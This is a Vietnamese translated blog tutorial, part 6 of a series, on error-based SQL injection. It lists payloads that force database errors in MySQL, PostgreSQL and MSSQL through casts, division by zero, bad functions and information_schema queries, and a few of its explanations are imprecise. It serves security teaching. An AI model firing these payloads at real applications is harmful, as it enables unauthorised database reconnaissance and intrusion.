Notification texts go here Contact Us Buy Now!

[Bản dịch] Kỹ thuật SQL Injection nâng cao - Phần 6 (2/2)

Table of Contents


Kỹ thuật ép lỗi từ cơ sở dữ liệu cho SQL Injection

Việc ép lỗi trong cơ sở dữ liệu có thể giúp tiết lộ thông tin có giá trị về các truy vấn SQL cơ bản, cấu trúc cơ sở dữ liệu và đôi khi thậm chí là chính dữ liệu. Sau đây là một số kỹ thuật nâng cao để ép lỗi từ nhiều cơ sở dữ liệu khác nhau:

1. Lỗi cú pháp

Lỗi cú pháp cổ điển

  • Đưa ra lỗi cú pháp cố ý để đưa ra thông báo lỗi.

' OR 1=1; -- 
Trích dẫn chưa đóng
  • Không đóng dấu ngoặc kép có thể gây ra lỗi.
' OR 'a'='a 

2. Lỗi chuyển đổi kiểu

Ép kiểu không hợp lệ
  • Ép kiểu chuỗi thành số nguyên có thể gây ra lỗi chuyển đổi kiểu.
' UNION SELECT CAST('abc' AS SIGNED) -- 

3. Lỗi dựa trên chức năng

Chia cho số 0
  • Buộc thực hiện phép chia cho lỗi số không.
' UNION SELECT 1/0 --
Sử dụng hàm không hợp lệ
  • Sử dụng hàm không đúng cách có thể gây ra lỗi.
' UNION SELECT EXP('abc') --

4. Lỗi truy vấn phụ

Truy vấn con không hợp lệ
  • Sử dụng truy vấn phụ theo cách gây ra lỗi.
 ' UNION SELECT (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2) AS temp) --

5. Lỗi cụ thể của cơ sở dữ liệu

Lỗi MySQL
  • Sử dụng các truy vấn không hợp lệ để kích hoạt lỗi cụ thể của MySQL.
' UNION SELECT GTID_SUBSET('abc', 'def') --
Lỗi PostgreSQL
  • Sử dụng các thao tác không hợp lệ có thể gây ra lỗi PostgreSQL.
' UNION SELECT TO_NUMBER('abc', '999') --
Lỗi MSSQL
  • Sử dụng sai các hàm dành riêng cho MSSQL có thể gây ra lỗi.
 ' UNION SELECT CONVERT(INT, 'abc') --

6. Truy vấn lược đồ thông tin

Tên bảng không hợp lệ
  • Truy vấn lược đồ thông tin có tên bảng không hợp lệ.
' UNION SELECT table_name FROM information_schema.tables WHERE table_name = 'non_existent_table' --

7. Lỗi SQL Injection mù

Điều kiện giả cố ý
  • Sử dụng điều kiện sai để gián tiếp gây ra lỗi.
' AND 1=(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='non_existent_database') --

8. Kỹ thuật lỗi nâng cao

Truy vấn đệ quy
  • Sử dụng truy vấn đệ quy để buộc lỗi.
' UNION SELECT 1 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4) AS temp WHERE temp=1 --
Giá trị thập lục phân không hợp lệ
  • Sử dụng các giá trị thập lục phân không hợp lệ để gây ra lỗi.
' UNION SELECT 0xZZ --

9. Kết hợp các kỹ thuật

Buộc lỗi liên kết
  • Kết hợp nhiều kỹ thuật loại bỏ lỗi để có kết quả chính xác hơn.
' UNION SELECT CONVERT(INT, 'abc') UNION SELECT 1/0 UNION SELECT TO_NUMBER('abc', '999') --

Hết phần 6-2

Phần 1 tại đây | Phần 2 tại đây | Phần 3 tại đây | Phần 4 tại đây | Phần 5 tại đây | Phần 6-1 tại đây | Phần cuối tại đây

إرسال تعليق

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.